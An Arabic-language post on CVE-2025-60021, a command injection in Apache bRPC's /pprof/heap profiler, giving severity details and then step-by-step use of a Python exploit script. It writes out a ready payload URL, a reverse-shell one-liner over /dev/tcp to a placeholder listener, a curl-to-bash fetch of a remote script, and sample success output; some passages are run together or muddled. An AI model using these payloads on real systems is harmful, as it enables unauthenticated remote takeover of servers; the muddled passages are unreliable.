
CVE-2025-60021

CVE-2025-60021 هي ثغرة حرجة لحقن الأوامر عن بُعد تم اكتشافها في خدمة أداة تحليل الكومة المدمجة (/pprof/heap) في Apache bRPC إصدارات أقدم من 1.15.0، مما يسمح للمهاجمين غير الموثَّقين بتنفيذ أوامر نظام عشوائية. ([NVD][1])
| السمة | المعلومات |
|---|---|
| الاسم / المعرف | CVE-2025-60021 |
| المنتج | Apache bRPC (جميع المنصات) |
| الإصدارات المتأثرة | < 1.15.0 |
| تاريخ النشر | 16 يناير 2026 ([NVD][1]) |
| نوع الثغرة | حقن أوامر عن بُعد (CWE-77) ([NVD][1]) |
| نقطة النهاية | /pprof/heap |
| المُحفِّز | معامل extra_options غير المعقّم |
| السبب الجذري | عدم التحقق من المدخلات قبل تنفيذها كأمر نظام ([openwall.com][2]) |
❗يمكن للمهاجمين حقن الأوامر عن بُعد ببساطة عن طريق التلاعب بهذا المعامل الخاص بالتحليل.
🔥 تصنيف الخطورة: حرج
📊 درجة CVSS v3.1 الأساسية: 9.8 / 10
المتجه: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ([INCIBE][3])
| فئة التأثير | التأثير | |
|---|---|---|
| السرية | عالي | |
| السلامة | عالي | |
| التوفر | عالي | |
| متجه الهجوم | شبكة | |
| الامتيازات | لا حاجة | |
| تفاعل المستخدم | لا حاجة | ([INCIBE][3]) |
👉 هذا يعني أن المهاجمين يمكنهم تنفيذ أوامر عشوائية عن بُعد دون تسجيل دخول — أسوأ سيناريو للخدمات المكشوفة.
/pprof/heap) مخصصة لتحليل الذاكرة (jemalloc). ([openwall.com][2])extra_options. بدلاً من تعقيمه، تمرره bRPC مباشرةً إلى واجهة أوامر النظام. ([openwall.com][2])يفترض هذا أنك حفظت البرنامج النصي باسم CVE-2025-60021.py (على الرغم من أن CVE الحقيقية هي 2025-60021 — لا تتردد في إعادة تسميته). إنه برنامج Python 3 لإظهار ثغرة حقن الأوامر عن بُعد في أداة تحليل الكومة في Apache bRPC. قم بتشغيله فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها — الاستغلال دون إذن غير قانوني.
بيئة Python: تأكد من تثبيت Python 3 (مثل 3.6+). يستخدم البرنامج النصي وحدات مدمجة بالإضافة إلى requests و argparse (وهي قياسية أو سهلة التثبيت).
تثبيت التبعيات: إذا لم تكن موجودة بالفعل، قم بتثبيت مكتبة requests:
pip install requests
إعداد الهدف: تحتاج إلى خادم Apache bRPC ضعيف:
http://localhost:8060 أو IP/منفذ بعيد).
إذا كنت تختبر محليًا، قم بإعداد نسخة ضعيفة من bRPC (مثل عبر Docker أو بناء المصدر — راجع وثائق Apache bRPC).الأذونات: قم بتشغيله مع sudo فقط إذا لزم الأمر للوصول إلى الشبكة أو الامتيازات؛ وإلا فإن python3 العادي يكفي.
انسخ كود PoC الذي قدمته سابقًا في ملف باسم CVE-2025-60021.py. اجعله قابلاً للتنفيذ إذا أردت:
chmod +x CVE-2025-60021.py
يأخذ البرنامج النصي وسيطتين موضعيتين مطلوبتين:
target: رابط خادم bRPC الضعيف (مثل http://192.168.1.100:8060 أو http://targets:8060 — أصلح أي أخطاء مطبعية مثل المخطط المفقود أو المضيف غير الصالح).cmd: الأمر المراد تنفيذه على الهدف (مثل "id" لمعلومات المستخدم، أو شيء أكثر تعقيدًا مثل "curl http://your-server/reverse-shell.sh | bash" لصدفة عكسية). استخدم && أو ; لربط أوامر متعددة.افتح terminal (مثل Kali Linux كما تستخدم) ونفذه مع هدفك وأمرك. أمثلة الأوامر:
اختبار أساسي (الحصول على معلومات النظام):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
مثال صدفة عكسية (استبدل your-listener-ip والمنفذ؛ قم بإعداد مستمع مثل nc -lvnp 4444 أولاً):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
إذا كنت تستخدم HTTPS أو منفذًا مختلفًا، اضبط الرابط وفقًا لذلك (مثل https://target:443 — البرنامج النصي يتعامل معه، ولكن أضف --insecure إذا كانت هناك مشكلات في الشهادة).
مؤشرات النجاح:
uid=0(root)... إذا نفذ id).مؤشرات الفشل (مثل ما رأيته):
--enable_heap_profiler=true) وأعد تشغيل الخادم.cmd — قم بتضمينها دائمًا.echo "test" > /tmp/proof.txt) وتحقق من الملف على الهدف.;، جرب && أو | للربط. قم بتشفير الأحرف الخاصة في الرابط إذا لزم الأمر (البرنامج النصي يتعامل مع معظمها)./pprof/heap.إذا نجح الاستغلال على هدف ضعيف (مثل تم تفعيل أداة تحليل الكومة، نسخة غير مصححة من bRPC <1.15.0)، فستبدو المخرجات في الطرفية الخاصة بك شيئًا كهذا (تعتمد التفاصيل الدقيقة على stdout الأمر وإعدادات الخادم):
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output
Response body (possible command output):
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux
[يتبعها بيانات ملف تعريف الكومة أو مخرجات ثنائية من jemalloc، مثل إحصائيات الذاكرة أو تفريغ]
العلامات الرئيسية: حالة 200 OK، وإذا كان الأمر (مثل id && whoami && uname -a) ينتج مخرجات، فقد تظهر في نص الاستجابة (مختلطة ببيانات التحليل). بالنسبة للأوامر الصامتة (مثل الصدفة العكسية)، تحقق من خادم الهدف أو المستمع الخاص بك للنشاط — لا تأكيد مباشر في الطرفية بخلاف 200. 😈